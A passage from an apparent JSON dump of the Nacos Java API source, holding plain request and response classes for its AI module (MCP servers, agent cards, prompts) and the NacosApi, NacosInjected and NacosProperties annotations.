    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\n\nimport java.util.Collection;\n\n/**\n * Batch Register endpoints for agent to nacos AI module request.\n *\n * @author xiweng.yy\n */\npublic class BatchAgentEndpointRequest extends AbstractAgentRequest {\n    \n    private Collection<AgentEndpoint> endpoints;\n    \n    public Collection<AgentEndpoint> getEndpoints() {\n        return endpoints;\n    }\n    \n    public void setEndpoints(Collection<AgentEndpoint> endpoints) {\n        this.endpoints = endpoints;\n    }\n    \n    /**\n     * Should be {@link AiRemoteConstants#BATCH_REGISTER_ENDPOINT}.\n     */\n    public String getType() {\n        return AiRemoteConstants.BATCH_REGISTER_ENDPOINT;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/McpServerEndpointRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\n\n/**\n * Register or Deregister endpoint for mcp server to nacos AI module request.\n *\n * @author xiweng.yy\n */\npublic class McpServerEndpointRequest extends AbstractMcpRequest {\n    \n    private String address;\n    \n    private int port;\n    \n    /**\n     * The provided mcp server version of this endpoint, if empty, the endpoint will be return for all versions.\n     */\n    private String version;\n    \n    /**\n     * Should be {@link AiRemoteConstants#REGISTER_ENDPOINT} or {@link AiRemoteConstants#DE_REGISTER_ENDPOINT}.\n     */\n    private String type;\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public void setAddress(String address) {\n        this.address = address;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/QueryAgentCardRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\n/**\n * Nacos AI module query agent card request.\n *\n * @author xiweng.yy\n */\npublic class QueryAgentCardRequest extends AbstractAgentRequest {\n    \n    private String version;\n    \n    private String registrationType;\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getRegistrationType() {\n        return registrationType;\n    }\n    \n    public void setRegistrationType(String registrationType) {\n        this.registrationType = registrationType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/QueryMcpServerRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\n/**\n * Nacos AI module query mcp request.\n *\n * @author xiweng.yy\n */\npublic class QueryMcpServerRequest extends AbstractMcpRequest {\n    \n    private String version;\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/QueryPromptRequest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\n/**\n * Nacos AI module query prompt request.\n *\n * @author nacos\n */\npublic class QueryPromptRequest extends AbstractPromptRequest {\n    \n    private String version;\n    \n    private String label;\n    \n    private String md5;\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getLabel() {\n        return label;\n    }\n    \n    public void setLabel(String label) {\n        this.label = label;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/ReleaseAgentCardRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\n\n/**\n * Nacos AI module release new agent card or new version of exist agent card request.\n *\n * @author xiweng.yy\n */\npublic class ReleaseAgentCardRequest extends AbstractAgentRequest {\n    \n    private AgentCard agentCard;\n    \n    private String registrationType = AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE;\n    \n    private boolean setAsLatest;\n    \n    public AgentCard getAgentCard() {\n        return agentCard;\n    }\n    \n    public void setAgentCard(AgentCard agentCard) {\n        this.agentCard = agentCard;\n    }\n    \n    public String getRegistrationType() {\n        return registrationType;\n    }\n    \n    public void setRegistrationType(String registrationType) {\n        this.registrationType = registrationType;\n    }\n    \n    public boolean isSetAsLatest() {\n        return setAsLatest;\n    }\n    \n    public void setSetAsLatest(boolean setAsLatest) {\n        this.setAsLatest = setAsLatest;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/request/ReleaseMcpServerRequest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\n\n/**\n * Nacos AI module release new mcp server or new version of exist mcp server request.\n *\n * <p>\n *     If mcp server is not exist, request will create an new mcp server with parameter specification.\n *     If mcp server is exist, but version in specification is new one, request will create a new version of mcp server.\n *     If mcp server is exist, and version in specification is exist, request will do nothing.\n * </p>\n *\n * @author xiweng.yy\n */\npublic class ReleaseMcpServerRequest extends AbstractMcpRequest {\n    \n    private McpServerBasicInfo serverSpecification;\n    \n    private McpToolSpecification toolSpecification;\n    \n    private McpEndpointSpec endpointSpecification;\n    \n    public McpServerBasicInfo getServerSpecification() {\n        return serverSpecification;\n    }\n    \n    public void setServerSpecification(McpServerBasicInfo serverSpecification) {\n        this.serverSpecification = serverSpecification;\n    }\n    \n    public McpToolSpecification getToolSpecification() {\n        return toolSpecification;\n    }\n    \n    public void setToolSpecification(McpToolSpecification toolSpecification) {\n        this.toolSpecification = toolSpecification;\n    }\n    \n    public McpEndpointSpec getEndpointSpecification() {\n        return endpointSpecification;\n    }\n    \n    public void setEndpointSpecification(McpEndpointSpec endpointSpecification) {\n        this.endpointSpecification = endpointSpecification;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/AgentEndpointResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Register or Deregister endpoint for agent to nacos AI module response.\n *\n * @author xiweng.yy\n */\npublic class AgentEndpointResponse extends Response {\n    \n    /**\n     * Should be {@link AiRemoteConstants#REGISTER_ENDPOINT}, {@link AiRemoteConstants#DE_REGISTER_ENDPOINT},\n     * {@link AiRemoteConstants#BATCH_REGISTER_ENDPOINT}.\n     */\n    private String type;\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/McpServerEndpointResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Register or Deregister endpoint for mcp server to nacos AI module response.\n *\n * @author xiweng.yy\n */\npublic class McpServerEndpointResponse extends Response {\n    \n    /**\n     * Should be {@link AiRemoteConstants#REGISTER_ENDPOINT} or {@link AiRemoteConstants#DE_REGISTER_ENDPOINT}.\n     */\n    private String type;\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/QueryAgentCardResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos AI module query agent card response.\n *\n * @author xiweng.yy\n */\npublic class QueryAgentCardResponse extends Response {\n    \n    private AgentCardDetailInfo agentCardDetailInfo;\n    \n    public AgentCardDetailInfo getAgentCardDetailInfo() {\n        return agentCardDetailInfo;\n    }\n    \n    public void setAgentCardDetailInfo(AgentCardDetailInfo agentCardDetailInfo) {\n        this.agentCardDetailInfo = agentCardDetailInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/QueryMcpServerResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos AI module query mcp server response.\n *\n * @author xiweng.yy\n */\npublic class QueryMcpServerResponse extends Response {\n    \n    private McpServerDetailInfo mcpServerDetailInfo;\n    \n    public McpServerDetailInfo getMcpServerDetailInfo() {\n        return mcpServerDetailInfo;\n    }\n    \n    public void setMcpServerDetailInfo(McpServerDetailInfo mcpServerDetailInfo) {\n        this.mcpServerDetailInfo = mcpServerDetailInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/QueryPromptResponse.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos AI module query prompt response.\n *\n * @author nacos\n */\npublic class QueryPromptResponse extends Response {\n    \n    private Prompt promptInfo;\n    \n    public Prompt getPromptInfo() {\n        return promptInfo;\n    }\n    \n    public void setPromptInfo(Prompt promptInfo) {\n        this.promptInfo = promptInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/ReleaseAgentCardResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos AI module release new agent card or new version of exist agent card response.\n *\n * @author xiweng.yy\n */\npublic class ReleaseAgentCardResponse extends Response {\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/remote/response/ReleaseMcpServerResponse.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * Nacos AI module release new mcp server or new version of exist mcp server response.\n *\n * @author xiweng.yy\n */\npublic class ReleaseMcpServerResponse extends Response {\n    \n    private String mcpId;\n    \n    public String getMcpId() {\n        return mcpId;\n    }\n    \n    public void setMcpId(String mcpId) {\n        this.mcpId = mcpId;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/annotation/NacosApi.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * An annotation for Nacos API v2 Controller.\n * @author dongyafei\n * @date 2022/7/22\n */\n\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosApi {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/annotation/NacosInjected.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.annotation;\n\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.naming.NamingService;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * An annotation to inject {@link ConfigService} or {@link NamingService} instance into the target Bean.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @see ConfigService\n * @see NamingService\n * @see NacosProperties\n * @since 0.2.1\n */\n@Target({ElementType.CONSTRUCTOR, ElementType.FIELD, ElementType.METHOD, ElementType.ANNOTATION_TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosInjected {\n    \n    /**\n     * The {@link NacosProperties} attribute, If not specified, it will use global Nacos Properties.\n     *\n     * @return the default value is {@link NacosProperties}\n     */\n    NacosProperties properties() default @NacosProperties;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/annotation/NacosProperties.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.annotation;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * An annotation for Nacos Properties.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @see PropertyKeyConst\n * @since 0.2.1\n */\n@Target(ElementType.ANNOTATION_TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosProperties {\n    \n    /**\n     * The prefix of property name of Nacos.\n     */\n    String PREFIX = \"nacos.\";\n    \n    /**\n     * The property name of \"endpoint\".\n     */\n    String ENDPOINT = \"endpoint\";\n    \n    /**\n     * The property name of \"namespace\".\n     */\n    String NAMESPACE = \"namespace\";\n    \n    /**\n     * The property name of \"access-key\".\n     */\n    String ACCESS_KEY = \"access-key\";\n    \n    /**\n     * The property name of \"secret-key\".\n     */\n    String SECRET_KEY = \"secret-key\";\n    \n    /**\n     * The property name of \"server-addr\".\n     */\n    String SERVER_ADDR = \"server-addr\";\n    \n    /**\n     * The property name of \"context-path\".\n     */\n    String CONTEXT_PATH = \"context-path\";\n    \n    /**\n     * The property name of \"cluster-name\".\n     */\n    String CLUSTER_NAME = \"cluster-name\";\n    \n    /**\n     * The property name of \"encode\".\n     */\n    String ENCODE = \"encode\";\n    \n    /**\n     * The property name of \"long-poll.timeout\".\n     */\n    String CONFIG_LONG_POLL_TIMEOUT = \"configLongPollTimeout\";\n    \n    /**\n     * The property name of \"config.retry.time\".\n     */\n    String CONFIG_RETRY_TIME = \"configRetryTime\";\n    \n    /**\n     * The property name of \"maxRetry\".\n     */\n    String MAX_RETRY = \"maxRetry\";\n    \n    /**\n     * The property name of \"enableRemoteSyncConfig\".\n     */\n    String ENABLE_REMOTE_SYNC_CONFIG = \"enableRemoteSyncConfig\";\n    \n    /**\n     * The property name of \"username\".\n     */\n    String USERNAME = \"username\";\n    \n    /**\n     * The property name of \"password\".\n     */\n    String PASSWORD = \"password\";\n    \n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.endpoint:}\"</code>.\n     */\n    String ENDPOINT_PLACEHOLDER = \"${\" + PREFIX + ENDPOINT + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.namespace:}\"</code>.\n     */\n    String NAMESPACE_PLACEHOLDER = \"${\" + PREFIX + NAMESPACE + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.access-key:}\"</code>.\n     */\n    String ACCESS_KEY_PLACEHOLDER = \"${\" + PREFIX + ACCESS_KEY + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.secret-key:}\"</code>.\n     */\n    String SECRET_KEY_PLACEHOLDER = \"${\" + PREFIX + SECRET_KEY + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>${nacos.server-addr:}\"</code>.\n     */\n    String SERVER_ADDR_PLACEHOLDER = \"${\" + PREFIX + SERVER_ADDR + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is ${nacos.context-path:}.\n     */\n    String CONTEXT_PATH_PLACEHOLDER = \"${\" + PREFIX + CONTEXT_PATH + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.cluster-name:}\"</code>.\n     */\n    String CLUSTER_NAME_PLACEHOLDER = \"${\" + PREFIX + CLUSTER_NAME + \":}\";\n    \n    /**\n     * The placeholder of {@link NacosProperties#ENCODE encode}, the value is <code>\"${nacos.encode:UTF-8}\"</code>.\n     */\n    String ENCODE_PLACEHOLDER = \"${\" + PREFIX + ENCODE + \":UTF-8}\";\n    \n    /**\n     * The placeholder of {@link NacosProperties#CONFIG_LONG_POLL_TIMEOUT configLongPollTimeout}, the value is\n     * <code>\"${nacos.configLongPollTimeout:}\"</code>.\n     */\n    String CONFIG_LONG_POLL_TIMEOUT_PLACEHOLDER = \"${\" + PREFIX + CONFIG_LONG_POLL_TIMEOUT + \":}\";\n    \n    /**\n     * The placeholder of {@link NacosProperties#CONFIG_RETRY_TIME configRetryTime}, the value is\n     * <code>\"${nacos.configRetryTime:}\"</code>.\n     */\n    String CONFIG_RETRY_TIME_PLACEHOLDER = \"${\" + PREFIX + CONFIG_RETRY_TIME + \":}\";\n    \n    /**\n     * The placeholder of {@link NacosProperties#MAX_RETRY maxRetry}, the value is <code>\"${nacos.maxRetry:}\"</code>.\n     */\n    String MAX_RETRY_PLACEHOLDER = \"${\" + PREFIX + MAX_RETRY + \":}\";\n    \n    /**\n     * The placeholder of {@link NacosProperties#ENABLE_REMOTE_SYNC_CONFIG enableRemoteSyncConfig}, the value is\n     * <code>\"${nacos.enableRemoteSyncConfig:}\"</code>.\n     */\n    String ENABLE_REMOTE_SYNC_CONFIG_PLACEHOLDER = \"${\" + PREFIX + ENABLE_REMOTE_SYNC_CONFIG + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.username:}\"</code>.\n     */\n    String USERNAME_PLACEHOLDER = \"${\" + PREFIX + USERNAME + \":}\";\n    \n    /**\n     * The placeholder of endpoint, the value is <code>\"${nacos.password:}\"</code>.\n     */\n    String PASSWORD_PLACEHOLDER = \"${\" + PREFIX + PASSWORD + \":}\";\n    \n    /**\n     * The property of \"endpoint\".\n     *\n     * @return empty as default value\n     * @see #ENDPOINT_PLACEHOLDER\n     */\n    String endpoint() default ENDPOINT_PLACEHOLDER;\n    \n    /**\n     * The property of \"namespace\".\n     *\n     * @return empty as default value\n     * @see #NAMESPACE_PLACEHOLDER\n     */\n    String namespace() default NAMESPACE_PLACEHOLDER;\n    \n    /**\n     * The property of \"access-key\".\n     *\n     * @return empty as default value\n     * @see #ACCESS_KEY_PLACEHOLDER\n     */\n    String accessKey() default ACCESS_KEY_PLACEHOLDER;\n    \n    /**\n     * The property of \"secret-key\".\n     *\n     * @return empty as default value\n     * @see #SECRET_KEY_PLACEHOLDER\n     */\n    String secretKey() default SECRET_KEY_PLACEHOLDER;\n    \n    /**\n     * The property of \"server-addr\".\n     *\n     * @return empty as default value\n     * @see #SERVER_ADDR_PLACEHOLDER\n     */\n    String serverAddr() default SERVER_ADDR_PLACEHOLDER;\n    \n    /**\n     * The property of \"context-path\".\n     *\n     * @return empty as default value\n     * @see #CONTEXT_PATH_PLACEHOLDER\n     */\n    String contextPath() default CONTEXT_PATH_PLACEHOLDER;\n    \n    /**\n     * The property of \"cluster-name\".\n     *\n     * @return empty as default value\n     * @see #CLUSTER_NAME_PLACEHOLDER\n     */\n    String clusterName() default CLUSTER_NAME_PLACEHOLDER;\n    \n    /**\n     * The property of \"encode\".\n     *\n     * @return \"UTF-8\" as default value\n     * @see #ENCODE_PLACEHOLDER\n     */\n    String encode() default ENCODE_PLACEHOLDER;\n    \n    /**\n     * The property of \"configLongPollTimeout\".\n     *\n     * @return empty as default value\n     * @see #CONFIG_LONG_POLL_TIMEOUT_PLACEHOLDER\n     */\n    String configLongPollTimeout() default CONFIG_LONG_POLL_TIMEOUT_PLACEHOLDER;\n    \n    /**\n     * The property of \"configRetryTime\".\n     *\n     * @return empty as default value\n     * @see #CONFIG_RETRY_TIME_PLACEHOLDER\n     */\n    String configRetryTime() default CONFIG_RETRY_TIME_PLACEHOLDER;\n    \n    /**\n     * The property of \"maxRetry\".\n     *\n     * @return empty as default value\n     * @see #MAX_RETRY\n     */\n    String maxRetry() default MAX_RETRY_PLACEHOLDER;\n    \n    /**\n     * The property of \"enableRemoteSyncConfig\".\n     *\n     * @return empty as default value\n     * @see #ENABLE_REMOTE_SYNC_CONFIG\n     */\n    String enableRemoteSyncConfig() default ENABLE_REMOTE_SYNC_CONFIG_PLACEHOLDER;\n    \n    /**\n     * The property of \"username\".\n     *\n     * @return empty as default value\n     * @see #USERNAME_PLACEHOLDER\n     */\n    String username() default USERNAME_PLACEHOLDER;\n    \n    /**\n     * The property of \"password\".\n     *\n     * @return empty as default value\n     * @see #PASSWORD_PLACEHOLDER\n     */\n    String password() default PASSWORD_PLACEHOLDER;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/cmdb/pojo/Entity.java",
